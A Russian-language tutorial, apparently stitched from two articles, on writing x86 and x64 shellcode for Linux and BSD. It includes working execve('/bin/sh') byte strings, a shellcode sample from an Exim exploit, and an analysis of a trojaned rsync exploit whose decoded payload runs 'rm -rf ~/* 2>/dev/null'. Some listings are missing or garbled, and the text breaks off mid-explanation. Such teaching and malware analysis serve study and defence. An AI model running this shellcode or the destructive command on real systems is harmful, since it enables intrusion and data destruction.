Shell код для целевой атаки. Вирус для Linux

Шелл-код (англ. shellcode) - это часть кода, встроенного во вредоносную программу и позволяющего после инфицирования целевой системы жертвы получить код командной оболочки, например /bin/bash в UNIX-подобных ОС, command.com в черноэкранной MS-DOS и cmd.exe в современных операционных системах Microsoft Windows. Очень часто shellcode используется как полезная нагрузка эксплоита.

Шелл-код

Зачем это нужно?

Как вы понимаете, мало просто инфицировать систему, проэксплуатировать уязвимость или положить какую-нибудь системную службу. Все эти действия во многих случаях нацелены на получение админского доступа к зараженной машине.

Так что вредонос — это всего лишь способ попасть на машину и получить shell, то есть управление. А это уже прямой путь к сливу конфиденциальной информации, созданию ботнет-сетей, превращающих целевую систему в зомби, или просто выполнению иных деструктивных функций на взломанной машине.

Shellcode обычно внедряется в память эксплуатируемой программы, после чего на него передается управление при помощи использования программных ошибок, таких как переполнение стека или переполнение буфера в куче, или использования атак форматной строки.

Управление шелл-коду передается перезаписью адреса возврата в стеке адресом внедренного шелл-кода, перезаписью адресов вызываемых функций или изменением обработчиков прерываний. Результатом всего этого и будет выполнение шелл-кода, который открывает командную строку для использования взломщиком.

При эксплуатации удаленной уязвимости (то есть эксплоита) шелл-код может открывать на уязвимом компьютере заранее заданный порт TCP для дальнейшего удаленного доступа к командной оболочке. Такой код называется привязывающим к порту (англ. port binding shellcode).

Если же шелл-код подключается к порту компьютера атакующего (с целью обхода или просачивания через NAT), то такой код называется обратной оболочкой (reverse shell shellcode).

Способы запуска шелл-кода в память

Существуют два способа запуска шелл-кода в память на исполнение:

  • Метод position-independent code (PIC, позиционно независимый код) - это код, который использует жесткую привязку бинарного кода (то есть кода, который выполнится в памяти) к определенному адресу или данным. Шелл-код - это по сути PIC. Почему жесткая привязка так важна? Шелл не может знать, в каком именно месте оперативной памяти будет располагаться, поскольку во время выполнения различных версий скомпрометированной программы или малвари они могут загрузить шелл-код в разные ячейки памяти.
  • Метод Identifying Execution Location («Определяй свое место выполнения») заключается в том, что шелл-код должен разыменовать базовый указатель при доступе к данным в позиционно независимой структуре памяти. Добавление (ADD) или вычитание (Reduce) значений от базового указателя позволяет безопасно получить доступ к данным, которые входят в состав шелл-кода.

FreeBSD Magazine, 09.2010

Shell-код - это последовательность машинных команд, с помощью которых уже запущенная программа может быть принуждена к выполнению чего-то альтернативного. С помощью этого метода можно эксплуатировать некоторые уязвимости ПО (например, переполнение стека, переполнение кучи, уязвимости форматных строк).

Пример того, как может выглядеть shell-код:

char shellcode = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\ x76\x08\x89\x46" "\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\ x56\x0c\xcd\x80" "\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\ x2f\x73\x68";

То есть, вообще говоря, это последовательность байт на машинном языке. Цель настоящего документа - рассмотреть наиболее широко распространенные техники разработки shell-кода для Linux и *BSD систем, запущенных на архитектуре x86.

Покопавшись в сети, вы легко сможете найти готовые примеры shell-кода, которые остается только скопировать и поместить в нужное место. Для чего же изучать его разработку? На мой вкус, имеется как минимум пара хороших резонов:

Во-первых, изучение внутреннего устройства чего-либо - почти всегда хорошая идея перед использованием этого чего-то, помогает избежать неприятных сюрпризов (эта проблема будет обсуждаться позже на http://www.kernel-panic.it/security/shellcode/shellcode6.html в деталях);

Во-вторых, следует иметь в виду, что shell-код может запускаться в совершенно различных окружениях, типа входных-выходных фильтров, участков манипуляции со строками, IDS, и полезно представлять, как его нужно модифицировать в соответствии с условиями;

Кроме того, понятия об эксплуатации уязвимостей помогут вам писать более безопасные программы.

Далее не помешает знание ассемблера для архитектуры IA-32, поскольку мы затронем такие темы, как использование регистров, адресация памяти и другие подобные. В любом случае, в конце статьи предлагается некоторое количество материалов, полезных для изучения или освежения в памяти базовых сведений программирования на ассемблере. Также требуются базовые знания о Linux и *BSD.

Системные вызовы Linux
Хотя shell-код в принципе может выполнять что угодно, однако основной целью его запуска является получение на целевой машине доступа к командному интерпретатору (shell), желательно в привилегированном режиме, откуда, собственно, и пошло название shell-код.
Наиболее простой и прямой способ выполнить сложную задачу в ассемблере есть использование системных вызовов. Системные вызовы обеспечивают интерфейс между пространством пользователя и пространством ядра; другими словами это способ получения пользовательской программой обслуживания от сервисов ядра. Так, например, происходит управление файловой системой, запускаются новые процессы, обеспечивается доступ к устройствам и так далее.
Как показано в Листинге 1, системные вызовы определены в файле /usr/src/linux/include/asmi386/unistd.h, каждый из них снабжен номером.
Существует два стандартных способа использования системных вызовов:

Задействование программного прерывания 0x80;
- вызов функции-обертки из libc.

Первый метод более переносимый, так как употребим для любого дистрибутива Linux (определяется кодом ядра). Второй метод менее переносим, так как определяется кодом стандартной библиотеки.

int 0x80
Глянем пристальнее на первый метод. Когда процессор получает прерывание 0x80, он входит в режим ядра и выполняет запрашиваемую функцию, получая нужный обработчик из Interrupt Descriptor Table (таблицы описателей прерываний). Номер системного вызова должен быть определен в EAX, который в итоге будет содержать возвращаемую величину. В свою очередь, аргументы функции числом до шести, должны содержаться в EBX, ECX, EDX, ESI, EDI и EBP, именно в таком порядке и только нужное количество регистров, а не все. Если функция требует более шести аргументов, вы должны поместить их в структуру и сохранить указатель на первый элемент в EBX.

Следует помнить, что ядра Linux до 2.4 не используют регистр EBP для передачи аргументов, и, следовательно, могут передавать только пять аргументов через регистры.

После сохранения номера системного вызова и параметров в соответствующих регистрах, вызывается прерывание 0x80: процессор переходит в режим ядра, выполняет системный вызов и передает управление пользовательскому процессу. Для воспроизведения этого сценария нужно:

Создать в памяти структуру, содержащую параметры системного вызова;
- сохранить в EBX указатель на первый аргумент;
- выполнить программное прерывание 0x80.

Простейший пример будет содержать классику - системный вызов exit(2). Из файла /usr/src/linux/include/asm-i386/unistd.h мы узнаем его номер: 1. Страница руководства укажет нам, что обязательный аргумент только один (status), как показано в Листинге 2.

Его мы сохраним в регистре EBX. Таким образом, нужны следующие инструкции:

exit.asm mov eax, 1 ; Number of the _exit(2) syscall mov ebx, 0 ; status int 0x80 ; Interrupt 0x80

libc
Как было указано, другой стандартный метод заключается в использовании функции С. Посмотрим, как это сделано на примере простой С-программы:

exit.c main () { exit(0); }

Нужно только скомпилировать ее:

$ gcc -o exit exit.c

Дизассемблируем ее с помощью gdb для того, чтобы убедиться, что она использует тот же системный вызов (Листинг 3).

Листинг 3. Дизассемблируем программу exit с помощью отладчика gdb $ gdb ./exit GNU gdb 6.1-debian Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-linux"...Using host libthread_db library "/lib/ libthread_db.so.1". (gdb) break main Breakpoint 1 at 0x804836a (gdb) run Starting program: /ramdisk/var/tmp/exit Breakpoint 1, 0x0804836a in main () (gdb) disas main Dump of assembler code for function main: 0x08048364: push %ebp 0x08048365: mov %esp,%ebp 0x08048367: sub $0x8,%esp 0x0804836a: and $0xfffffff0,%esp 0x0804836d: mov $0x0,%eax 0x08048372: sub %eax,%esp 0x08048374: movl $0x0,(%esp) 0x0804837b: call 0x8048284 End of assembler dump. (gdb)

Последняя функция в main() - это вызов exit(3). Далее видим, что exit(3) в свою очередь вызывает _exit(2), которая вызывает системный вызов, включая прерывание 0x80, Листинг 4.

Листинг 4. Выполнение системного вызова (gdb) disas exit Dump of assembler code for function exit: [...] 0x40052aed: mov 0x8(%ebp),%eax 0x40052af0: mov %eax,(%esp) 0x40052af3: call 0x400ced9c <_exit> [...] End of assembler dump. (gdb) disas _exit Dump of assembler code for function _exit: 0x400ced9c <_exit+0> <_exit+4>: mov $0xfc,%eax 0x400ceda5 <_exit+9>: int $0x80 0x400ceda7 <_exit+11>: mov $0x1,%eax 0x400cedac <_exit+16>: int $0x80 0x400cedae <_exit+18>: hlt 0x400cedaf <_exit+19>

Таким образом, shell-код с использованием libc опосредованно вызывает системный вызов _exit(2):

push dword 0 ; status call 0x8048284 ; Call the libc exit() function ;(address obtained from the above disassembly) add esp, 4 ; Clean up the stack

Системные вызовы *BSD
В семействе *BSD системные вызовы выглядят немного по другому, в непрямых вызовах (с использованием адресов функций libc) разницы нет.
Номера системных вызовов указаны в файле /usr/src/sys/kern/syscalls.master, этот файл также содержит прототипы функций. В Листинге 5 представлено начало файла в OpenBSD:

Первая строка содержит номер системного вызова, вторая - его тип, третья - прототип функции. В отличие от Linux, системные вызовы *BSD не используют соглашение о быстром вызове, с помещением аргументов в регистры, вместо этого используется стиль С с помещением аргументов в стек. Аргументы помещаются в обратном порядке, начиная с самого правого, таким образом они будут извлекаться в правильной последовательности. Немедленно после возврата из системного вызова стек должен быть очищен путем помещения в указатель смещения по стеку количества байт, которое составила длина всех аргументов (а проще говоря, путем добавления байт в количестве аргументов умноженных на 4). Роль регистра EAX такая же, как в Linux, он содержит номер системного вызова, а в итоге содержит возвращаемую величину.

Таким образом, для выполнения системного вызова нужно четыре шага:

Сохранение номера вызова в EAX;
- помещение в обратном порядке аргументов в стек;
- выполнение программного прерывания 0x80;
- очистка стека.

Пример для Linux, преобразованный для *BSD, будет выглядеть так:

exit_BSD.asm mov eax, 1 ; Syscall number push dword 0 ; rval push eax ; Push one more dword (see below) int 0x80 ; 0x80 interrupt add esp, 8 ; Clean up the stack

Пишем shell-код
Следующие примеры, предназначенные для Linux, легко могут быть адаптированы в мир *BSD. Для получения готового shell-кода нам осталось получить опкоды, соответствующие ассемблерным инструкциям. Стандартно используются три метода для получения опкодов:

Написание их вручную (с документацией Intel в руках!);
- написание ассемблерного кода с последующим извлечением опкода;
- написание кода на С с последующим его дизассемблированием.

Посмотрим теперь на оставшиеся два метода.

На ассемблере
Первый шаг - использование ассемблерного кода из примера exit.asm с использованием системного вызова _exit(2). Для получения опкодов используем nasm и затем дизассемблируем собранный бинарник посредством objdump, как показано в Листинге 6.

Вторая колонка содержит нужные нам машинные коды. Таким образом, мы можем написать наш первый shell-код и протестировать его с помощью простой программы на С, взятой с http://www.phrack.org/

Листинг 7. Тестирование опкода sc_exit.c char shellcode = "\xbb\x00\x00\x00\x00" "\xb8\x01\x00\x00\x00" "\xcd\x80"; int main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }

Несмотря на популярность этого подхода, код проверочной программы на С может показаться недостаточно ясным. Тем не менее, он просто переписывает адрес функции main() адресом shell-кода с целью выполнения инструкций shell-кода в main(). После первой инструкции стек эволюционирует следующим образом:

Возвращаемый адрес (помещен инструкцией CALL) для помещения в EIP при выходе;
- сохраненный EBP (для восстановления при выходе из функции);
- ret (первая локальная переменная в функции main())

Вторая инструкция увеличивает адрес переменной ret на восемь байт (два dword) для получения адреса возвращаемого адреса, то есть указателя на первую инструкцию, которая будет выполнена в main(). Наконец, третья инструкция переписывает адрес адресом shell-кода. В этой точке программа выходит из функции main(), восстанавливает EBP, сохраняет адрес shell-кода в EIP и выполняет его. Для просмотра всех этих операций нужно скомпилировать и запустить sc_exit.c:

$ gcc -o sc_exit sc_exit.c $ ./sc_exit $

Надеюсь, ваш рот открылся достаточно широко. Чтобы убедиться в выполнении shell-кода, достаточно запустить приложение под strace, Листинг 8.

Листинг 8. Трассировка проверочного приложения $ strace ./sc_exit execve("./sc_exit", ["./sc_exit"], ) = 0 uname({sys="Linux", node="Knoppix", ...}) = 0 brk(0) = 0x8049588 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40017000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=60420, ...}) = 0 old_mmap(NULL, 60420, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40018000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\200^\1"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0644, st_size=1243792, ...}) = 0 old_mmap(NULL, 1253956, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40027000 old_mmap(0x4014f000, 32768, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x127000) = 0x4014f000 old_mmap(0x40157000, 8772, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40157000 close(3) = 0 munmap(0x40018000, 60420) = 0 _exit(0) = ? $

Последняя строка - вызов _exit(2). Однако, глядя на shell-код мы видим маленькую проблему: он содержит много нулевых байтов. Поскольку shell-код частенько вписывают в строковый буфер, эти байты уткнутся в разделитель строки и атака сорвется. Есть два пути для решения задачи:

Писать инструкции, не содержащие нулевых байтов (а это не всегда возможно);
- писать shell-код для модификации его вручную, удаляя нулевые байты, чтобы затем во время выполнения сам код добавил нулевые байты, выравнивая строку до разделителя.

Смотрим первый метод.
Первая инструкция (mov ebx, 0) может быть модифицирована более употребимой (по соображениям производительности):

xor ebx, ebx

Вторая инструкция содержит все эти нули, потому что используется 32-битный регистр (EAX), это порождает 0x01, которые становятся 0x01000000 (полубайты идут в обратном порядке, так как Intel® - little endian процессор). Таким образом мы можем решить эту проблему просто используя восьмибитный регистр (AL):

mov al, 1

Теперь наш ассемблерный код выглядит следующим образом:

xor ebx, ebx mov al, 1 int 0x80

и никаких нулевых байтов (Листинг 9).

Листинг 9. Проверка shell-кода $ nasm -f exit2.asm $ objdump -d exit2.o exit2.o: file format elf32-i386 Disassembly of section .text: 00000000 <.text>: 0: 31 db xor %ebx,%ebx 2: b0 01 mov $0x1,%al 4: cd 80 int $0x80 $
Листинг 10. Бинарник exit.c, открытый с помощью gdb $ gdb ./exit GNU gdb 6.1-debian Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-linux"...Using host libthread_db library "/lib/ libthread_db.so.1". (gdb) break main Breakpoint 1 at 0x804836a (gdb) run Starting program: /ramdisk/var/tmp/exit Breakpoint 1, 0x0804836a in main () (gdb) disas _exit Dump of assembler code for function _exit: 0x400ced9c <_exit+0>: mov 0x4(%esp),%ebx 0x400ceda0 <_exit+4>: mov $0xfc,%eax 0x400ceda5 <_exit+9>: int $0x80 0x400ceda7 <_exit+11>: mov $0x1,%eax 0x400cedac <_exit+16>: int $0x80 0x400cedae <_exit+18>: hlt 0x400cedaf <_exit+19>: nop End of assembler dump. (gdb)

Как видно, функция _exit(2) на самом деле использует два системных вызова: 0xfc (252), _exit_group(2), и далее, _exit(2). _exit_group(2) подобен _exit(2), но его целью является завершение всех потоков в группе. Для нашего кода действительно нужен только второй системный вызов.

Извлечем опкоды:

(gdb) x/4bx _exit 0x400ced9c <_exit>: 0x8b 0x5c 0x24 0x04 (gdb) x/7bx _exit+11 0x400ceda7 <_exit+11> : 0xb8 0x01 0x00 0x00 0x00 0xcd 0x80 (gdb)

Также, как в предыдущем примере, потребуется побороть нулевые байты.

Получение консоли
Настало время написания shell-кода, который позволит сделать что-то более полезное. Например, мы можем создать код для получения доступа к консоли, и чтобы после порождения консоли он чисто завершался. Простейший подход тут - использование системного вызова execve(2). Не забудьте посмотреть страницу man, Листинг 11.

Листинг 11. man 2 execve EXECVE(2) Linux Programmer"s Manual EXECVE(2) NAME execve – execute program SYNOPSIS #include int execve(const char *filename, char *const argv , char *const envp); DESCRIPTION execve() executes the program pointed to by filename. filename must be either a binary executable, or a script starting with a line of the form "#! interpreter ". In the latter case, the interpreter must be a valid pathname for an executable which is not itself a script, which will be invoked as interpreter filename. argv is an array of argument strings passed to the new program. envp is an array of strings, conventionally of the form as environment to the new program. Both, argv and envp must be terminated by a null pointer. The argument vector and environment can be accessed by the called program"s main function, when it is defined as int main(int argc, char *argv, char *envp). [...]

Мы должны передать три агрумента:

Указатель на имя программы для выполнения, в нашем случае, указатель на строку /bin/sh;
- указатель на массив строк, передаваемых в качестве аргументов программы, первый аргумент должен быть argv, то есть имя самой программы, последний аргумент должен быть нулевым указателем;
- указатель на массив строк для передачи их в качестве окружения программы; эти строки как правило задаются в формате key=value и последним элементом массива должен быть нулевой указатель. На С это выглядит примерно следующим образом:

Соберем и посмотрим как работает:

Так-так, мы получили шелл. Теперь посмотрим, как этот системный вызов выглядит в ассемблере (поскольку мы использовали три аргумента, можем использовать регистры вместо структуры). Немедленно обнаруживаются две проблемы:

Первая проблема известна: мы не можем оставлять нулевые байты в shell-коде, однако в данном случае аргументом является строка (/bin/sh), которая терминируется нулевым байтом. И мы должны передать два нулевых указателя среди аргументов execve(2)!
- вторая проблема - отыскать адрес строки. Абсолютная адресация памяти - дело тяжелое, кроме того это сделает shell-код практически непереносимым.

Для решения первой проблемы мы сделаем наш shell-код способным вставлять нулевые байты в нужные места во время выполнения. Для решения второй проблемы будем использовать относительную адресацию. Классический метод вернуть себе адрес shell-кода заключается в том, чтобы начать с инструкции CALL. Фактически, первое, что делает CALL, это помещение адреса следующего байта в стек, чтобы было возможно (инструкцией RET) помещение этого адреса в EIP после возврата из вызываемой функции. Затем выполнение перемещается на адрес, заданный параметром инструкции CALL. Этим путем мы получим указатель на нашу строку: адрес первого байта после CALL - это последнее значение в стеке и мы спокойно можем добыть его с помощью POP. Таким образом, генеральный план shell-кода будет примерно следующим:

Листинг 12. jmp short mycall ; Immediately jump to the call instruction shellcode: pop esi ; Store the address of "/bin/sh" in ESI [...] mycall: call shellcode ; Push the address of the next byte onto the stack: the next db "/bin/sh" ; byte is the beginning of the string "/bin/sh"

Посмотрим, что он делает:

Во-первых, shell-код прыгает на инструкцию CALL;
- CALL помещает в стек адрес строки /bin/sh, пока еще не терминированной нулевым байтом; директива db просто инициализирует последовательность байтов; далее выполнение вновь прыгает на начало shell-кода;
- затем адрес строки извлекается из стека и сохраняется в ESI. Теперь можем обращаться к адресу в памяти с помощью адреса строки.

С этого момента можно использовать структуру shell-кода, наполненную чем-то полезным. Проанализируем шаг за шагом наши планируемые действия:

Забъем EAX нулями, чтобы они были доступны в наших целях;
- терминируем строку нулевым байтом, скопированным из EAX (будем использовать регистр AL);
- зададим себе, что ECX будет содержать массив аргументов, состоящий из адреса строки и нулевого указателя; эта задача будет выполнена путем записи адреса, содержащегося в ESI, в первые три байта, и затем нулевой указатель (нули опять возьмем из EAX);
- сохраним номер системного вызова в (0x0b) EAX;
- сохраним первый аргумент для execve(2) (то есть адрес строки, сохраненный в ESI), в EBX;
- сохраним адрес массива в ECX (ESI + 8);
- сохраним адрес нулевого указателя в EDX (ESI+12);
- выполним прерывание 0x80.

Результирующий ассемблерный код показан в Листинге 13.

Листинг 13. Переработанный ассемблерный код get_shell.asm jmp short mycall ; Immediately jump to the call instruction shellcode: pop esi ; Store the address of "/bin/sh" in ESI xor eax, eax ; Zero out EAX mov byte , al ; Write the null byte at the end of the string mov dword , esi ; , i.e. the memory immediately below the string ; "/bin/sh", will contain the array pointed to by the ; second argument of execve(2); therefore we store in ; the address of the string... mov dword , eax ; ...and in the NULL pointer (EAX is 0) mov al, 0xb ; Store the number of the syscall (11) in EAX lea ebx, ; Copy the address of the string in EBX lea ecx, ; Second argument to execve(2) lea edx, ; Third argument to execve(2) (NULL pointer) int 0x80 ; Execute the system call mycall: call shellcode ; Push the address of "/bin/sh" onto the stack db "/bin/sh"

Извлечем опкоды, Листинг 14:

$ gcc -o get_shell get_shell.c $ ./get_shell sh-2.05b$ exit $

Доверие - это хорошо...
Посмотрим shell-код из эксплоита (http://www.securityfocus.com/bid/12268/info/), написанного Rafael San Miguel Carrasco. Он использует уязвимость типа "переполнение буфера" почтовой программы Exim:

static char shellcode= "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\ xb0\x0b\x89" "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\ x62\x69\x6e" "\x2f\x73\x68\x58";

Дизассемблируем его с помощью ndisasm, получим что-то знакомое? Листинг 16.

Листинг 16. Дизассемблирование с помощью ndisasm $ echo -ne "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"\ "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"\ "\x2f\x73\x68\x58" | ndisasm -u - 00000000 EB17 jmp short 0x19 ; Initial jump to the CALL 00000002 5E pop esi ; Store the address of the string in ; ESI 00000003 897608 mov ,esi ; Write the address of the string in ; ESI + 8 00000006 31C0 xor eax,eax ; Zero out EAX 00000008 884607 mov ,al ; Null-terminate the string 0000000B 89460C mov ,eax ; Write the null pointer to ESI + 12 0000000E B00B mov al,0xb ; Number of the execve(2) syscall 00000010 89F3 mov ebx,esi ; Store the address of the string in ; EBX (first argument) 00000012 8D4E08 lea ecx, ; Second argument (pointer to the ; array) 00000015 31D2 xor edx,edx ; Zero out EDX (third argument) 00000017 CD80 int 0x80 ; Execute the syscall 00000019 E8E4FFFFFF call 0x2 ; Push the address of the string and ; jump to the second ; instruction 0000001E 2F das ; "/bin/shX" 0000001F 62696E bound ebp, 00000022 2F das 00000023 7368 jnc 0x8d 00000025 58 pop eax $

... но контроль лучше
Но все-таки лучшей практикой остается привычка проверять shell-код перед тем, как использовать его. Например, 28 May 2004, prankster поместил для всеобщего доступа публичный эксплоит для rsync (http://www.seclists.org/lists/fulldisclosure/2004/May/1395.html), однако код был мутный: вслед за участком хорошо комментированного кода был малозаметный кусок, Листинг 17.

После просмотра main() становилось понятно, что эксплоит запускается локально:

(long) funct = &shellcode2; [...] funct();

Таким образом, чтобы понять, что shell-код делает, мы должны не запускать его, а дизассемблировать, Листинг 18.

Листинг 18. Дизассемблированный плохо видимый shell-код $ echo -ne "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8[...]" | \ > ndisasm -u - 00000000 EB10 jmp short 0x12 ; Jum to the CALL 00000002 5E pop esi ; Retrieve the address of byte 0x17 00000003 31C9 xor ecx,ecx ; Zero out ECX 00000005 B14B mov cl,0x4b ; Setup the loop counter (see ; insctruction 0x0E) 00000007 B0FF mov al,0xff ; Setup the XOR mask 00000009 3006 xor ,al ; XOR byte 0x17 with AL 0000000B FEC8 dec al ; Decrease the XOR mask 0000000D 46 inc esi ; Load the address of the next byte 0000000E E2F9 loop 0x9 ; Keep XORing until ECX=0 00000010 EB05 jmp short 0x17 ; Jump to the first XORed instruction 00000012 E8EBFFFFFF call 0x2 ; PUSH the address of the next byte and ; jump to the second instruction 00000017 17 pop ss [...]

Как можно видеть, это самомодифицирующийся shell-код: инструкции от 0x17 до 0x4B декодируются во время выполнения путем XOR-инга их значением из AL, которое сначала забито 0xFF, а затем уменьшается на каждом проходе цикла. После декодирования инструкция выполняется (jmp short 0x17). Попробуем понять, какая инструкция выполняется на самом деле. Мы можем декодировать shell-код с помощью Python, Листинг 19.

Листинг 19. Декодирование shell-кода с использованием Python decode.py #!/usr/bin/env python sc = "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8\x46\xe2\xf9" + \ "\xeb\x05\xe8\xeb\xff\xff\xff\x17\xdb\xfd\xfc\xfb\xd5\x9b\x91\x99" + \ "\xd9\x86\x9c\xf3\x81\x99\xf0\xc2\x8d\xed\x9e\x86\xca\xc4\x9a\x81" + \ "\xc6\x9b\xcb\xc9\xc2\xd3\xde\xf0\xba\xb8\xaa\xf4\xb4\xac\xb4\xbb" + \ "\xd6\x88\xe5\x13\x82\x5c\x8d\xc1\x9d\x40\x91\xc0\x99\x44\x95\xcf" + \ "\x95\x4c\x2f\x4a\x23\xf0\x12\x0f\xb5\x70\x3c\x32\x79\x88\x78\xf7" + \ "\x7b\x35" print "".join()])

Шестнадцатиричный дамп даст нам первую идею: смотрим Листинг 20.

Ммм... /bin/sh, sh -c rm -rf ~/* 2>/dev/null ... Не слишком оптимистичны код! Но чтобы быть уверенными, дизассемблируем его, Листинг 21.

Первая инструкция CALL, за которой сразу следует строка, выводящая шестнадцатиричный дамп. Начало shell-кода может быть таким образом переписано, смотрим Листинг 22.

Сохраним опкоды, начиная с инструкции 0x2a (42), Листинг 23:

Листинг 23. Проверка вызываемых функций $ ./decode_exp.py | cut -c 43- | ndisasm -u - 00000000 5D pop ebp ; Retrieve the address of the string ; "/bin/sh" 00000001 31C0 xor eax,eax ; Zero out EAX 00000003 50 push eax ; Push the null pointer onto the stack 00000004 8D5D0E lea ebx, ; Store the address of ; "rm -rf ~/* 2>/dev/null" in EBX 00000007 53 push ebx ; and push it on the stack 00000008 8D5D0B lea ebx, ; Store the address of "-c" in EBX 0000000B 53 push ebx ; and push it on the stack 0000000C 8D5D08 lea ebx, ; Store the address of "sh" in EBX 0000000F 53 push ebx ; and push it on the stack 00000010 89EB mov ebx,ebp ; Store the address of "/bin/sh" in ; EBX (first arg to execve()) 00000012 89E1 mov ecx,esp ; Store the stack pointer to ECX (ESP ; points to"sh", "-c", "rm...") 00000014 31D2 xor edx,edx ; Third arg to execve() 00000016 B00B mov al,0xb ; Number of the execve() syscall 00000018 CD80 int 0x80 ; Execute the syscall 0000001A 89C3 mov ebx,eax ; Store 0xb in EBX (exit code=11) 0000001C 31C0 xor eax,eax ; Zero out EAX 0000001E 40 inc eax ; EAX=1 (number of the exit() syscall) 0000001F CD80 int 0x80 ; Execute the syscall

Отсюда ясно видим, что execve(2) вызван с массивом аргументов sh, -c, rm -rf ~/* 2>/dev/null. Так что проверка кода перед запуском никогда не вредит!

IoT - самый настоящий тренд последнего времени. Почти везде в нем используется ядро Linux. Однако статей по вирусописательству и шелл-кодингу под эту платформу сравнительно мало. Думаешь, писать шелл-код под Linux - только для избранных? Давай выясним как написать вирус для Linux!

БАЗА ДЛЯ НАПИСАНИЯ ВИРУСА ДЛЯ LINUX

Что нужно для работы?

Для компиляции шелл-кода нам понадобится компилятор и линковщик. Мы будем использовать nasm и ld . Для проверки работы шелл-кода мы напишем небольшую программку на С. Для ее компиляции нам понадобится gcc . Для некоторых проверок будет нужен rasm2 (часть фреймворка radare2 ). Для написания вспомогательных функций мы будем использовать Python.

Что нового в x64?

x64 является расширением архитектуры IA-32. Основная отличительная ее особенность - поддержка 64-битных регистров общего назначения, 64-битных арифметических и логических операций над целыми числами и 64-битных виртуальных адресов.

Если говорить более конкретно, то все 32-битные регистры общего назначения сохраняются, добавляются их расширенные версии (rax, rbx, rcx, rdx, rsi, rdi, rbp, rsp ) и несколько новых регистров общего назначения (r8, r9, r10, r11, r12, r13, r14, r15 ).

Появляется новое соглашение о вызовах (в отличие от архитектуры x86, оно только одно). Согласно ему, при вызове функции каждый регистр используется для определенных целей, а именно:

  • первые четыре целочисленных аргумента функции передаются через регистры rcx, rdx, r8 и r9 и через регистры xmm0 - xmm3 для типов с плавающей точкой;
  • остальные параметры передаются через стек;
  • для параметров, передаваемых через регистры, все равно резервируется место в стеке;
  • результат работы функции возвращается через регистр rax для целочисленных типов или через регистр xmm0 для типов с плавающей точкой;
  • rbp содержит указатель на базу стека, то есть место (адрес), где начинается стек;
  • rsp содержит указатель на вершину стека, то есть на место (адрес), куда будет помещено новое значение;
  • rsi, rdi используются в syscall .

Немного о стеке: так как адреса теперь 64-битные, значения в стеке могут иметь размер 8 байт.

Syscall. Что? Как? Зачем?

Syscall - это способ, посредством которого user-mode взаимодействует с ядром в Linux. Он используется для различных задач: операции ввода-вывода, запись и чтение файлов, открытие и закрытие программ, работа с памятью и сетью и так далее. Для того чтобы выполнить syscall , необходимо:

Загрузить соответствующий номер функции в регистр rax;
загрузить входные параметры в остальные регистры;
вызвать прерывание под номером 0x80 (начиная с версии ядра 2.6 это делается через вызов syscall ).

В отличие от Windows, где нужно еще найти адрес необходимой функции, здесь все довольно просто и лаконично.

Номера нужных syscall-функций можно найти, например,

execve ()

Если мы посмотрим на готовые шелл-коды , то многие из них используют функцию execve().

execve() имеет следующий прототип:

Она вызывает программу FILENAME . Программа FILENAME может быть либо исполняемым бинарником, либо скриптом, который начинается со строки #! interpreter .

argv является указателем на массив, по сути, это тот самый argv , который мы видим, например, в C или Python.

envp - указатель на массив, описывающий окружение. В нашем случае не используется, будет иметь значение null.

Основные требования к шелл-коду

Существует такое понятие, как position-independent code. Это код, который будет выполняться независимо от того, по какому адресу он загружен. Чтобы наш шелл-код мог выполняться в любом месте программы, он должен быть позиционно-независимым.

Чаще всего шелл-код загружается функциями вроде strcpy() . Подобные функции используют байты 0x00, 0x0A, 0x0D как разделители (зависит от платформы и функции). Поэтому лучше такие значения не использовать. В противном случае функция может скопировать шелл-код не полностью. Рассмотрим следующий пример:

$ rasm2 -a x86 -b 64 "push 0x00" 6a00

$ rasm2 - a x86 - b 64 "push 0x00"

6a00

Как видно, код push 0x00 скомпилируется в следующие байты 6a 00 . Если бы мы использовали такой код, наш шелл-код бы не сработал. Функция скопировала бы все, что находится до байта со значением 0x00.

В шелл-коде нельзя использовать «захардкоженные» адреса, потому что мы заранее эти самые адреса не знаем. По этой причине все строки в шелл-коде получаются динамически и хранятся в стеке.

Вот вроде бы и все.

JUST DO IT!

Если ты дочитал до этого места, то уже должна сложиться картина, как будет работать наш шелл-код.

Первым делом необходимо подготовить параметры для функции execve() и затем правильно расположить их на стеке. Функция будет выглядеть следующим образом:

Второй параметр представляет собой массив argv . Первый элемент этого массива содержит путь к исполняемому файлу.
